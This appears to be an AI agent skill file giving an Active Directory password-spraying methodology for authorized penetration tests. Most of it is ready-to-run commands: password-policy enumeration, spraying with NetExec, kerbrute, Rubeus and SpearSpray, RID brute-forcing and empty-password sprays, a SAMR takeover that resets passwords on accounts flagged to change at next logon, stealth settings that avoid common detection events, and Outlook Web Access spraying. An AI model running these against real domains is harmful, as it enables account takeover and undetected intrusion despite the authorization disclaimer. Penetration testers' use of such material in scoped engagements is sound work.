| name | ad-password-spraying |
| description | Active Directory password spraying and brute force methodology for authorized security assessments. Use this skill when conducting penetration tests, red team operations, or security audits on Active Directory environments where you have explicit written authorization. Covers password policy enumeration, spraying techniques with various tools (NetExec, kerbrute, Rubeus, SpearSpray), SAMR password change exploitation, and OWA/Google/Okta spraying. Make sure to use this skill whenever the user mentions password spraying, credential testing, AD brute force, or needs to enumerate valid credentials in an AD environment. |
Active Directory Password Spraying Methodology
Authorization Required
This skill is for authorized security testing only. You must have:
- Written authorization from the system owner
- Clear scope defining target systems
- Understanding of legal and ethical boundaries
Unauthorized use of these techniques is illegal and unethical.
Overview
Password spraying is a technique where you try a small number of common passwords against many users, rather than many passwords against one user. This avoids account lockouts while still potentially finding valid credentials.
Default AD password policy:
- Minimum password length: 7 characters
- Account lockout threshold: 10 failed attempts (by default)
Pre-Engagement Checklist
- Confirm authorization - Written scope and approval
- Understand the environment - Domain structure, user count, password policies
- Plan for lockouts - Know the lockout threshold and duration
- Have an exit strategy - How to handle discovered credentials
- Document everything - For reporting and legal protection
Password Policy Enumeration
Before spraying, understand the password policy to avoid lockouts.
From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N <IP>
rpcclient $> querydominfo
ldapsearch -h <IP> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" # From PowerView
Password Spraying Techniques
NetExec (Recommended - CME Successor)
NetExec is the modern replacement for crackmapexec with better performance and features.
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo tee -a /etc/hosts
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' --continue-on-success --no-bruteforce --shares
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
sudo ntpdate <DC_FQDN>
kerbrute (Go version)
./kerbrute_linux_amd64 passwordspray -d <domain> [--dc <DC_IP>] users.txt Password123
./kerbrute_linux_amd64 bruteuser -d <domain> [--dc <DC_IP>] passwords.lst username
Spray (Greenwolf)
Configurable lockout protection:
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
Rubeus (Windows)
# Spray with user and password lists
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain> /outfile:<output>
# Spray all domain users
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output>
Invoke-DomainPasswordSpray (PowerShell)
Automatically discovers users and respects password policy:
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
rpcclient (Linux)
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" <IP> | grep Authority;
done
SAMR Password Change Exploitation
Accounts with "password must change at next logon" can be taken over without knowing the old password.
Workflow
- Enumerate users via RID brute
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
- Spray empty password
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
- Change password on STATUS_PASSWORD_MUST_CHANGE accounts
env NEWPASS='P@ssw0rd!2025#'
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
- Validate new credentials
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
Note: A [+] without (Pwn3d!) in some modules means the creds are valid but the account lacks interactive logon rights.
SpearSpray - Advanced Kerberos Pre-Auth Spraying
SpearSpray uses Kerberos pre-authentication for lower-noise spraying with LDAP targeting and policy awareness. It generates 4768/4771 events instead of 4625, making it harder to detect.
Basic Usage
spearspray -l
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
Targeting
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-sep @-_ -suf !? -x ACME
Stealth Controls
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-t 5 -j 3,5 --max-rps 10
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
BloodHound Integration
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-nu neo4j -np bloodhound --uri bolt://localhost:7687
Pattern System
Create patterns.txt with templates:
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
Available variables:
{name}, {samaccountname}
- Temporal from pwdLastSet:
{year}, {short_year}, {month_number}, {month_en}, {season_en}
- Helpers:
{separator}, {suffix}, {extra}
Outlook Web Access Spraying
Ruler
./ruler-linux64 --domain <domain> -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
Metasploit
auxiliary/scanner/http/owa_login
auxiliary/scanner/http/owa_ews_login
PowerShell Tools
- DomainPasswordSpray
- MailSniper
Third-Party Services
Google Workspace
Okta
Operational Best Practices
- Clock synchronization - Always sync before Kerberos operations:
sudo ntpdate <dc_fqdn>
- Rate limiting - Use jitter and max-rps to avoid detection
- Lockout awareness - Know the threshold and leave buffer (use
-thr in SpearSpray)
- Documentation - Log all attempts and results
- Cleanup - Have a plan for discovered credentials
- Query PDC emulator - Use
-dc flag to read authoritative badPwdCount
Common User Lists
References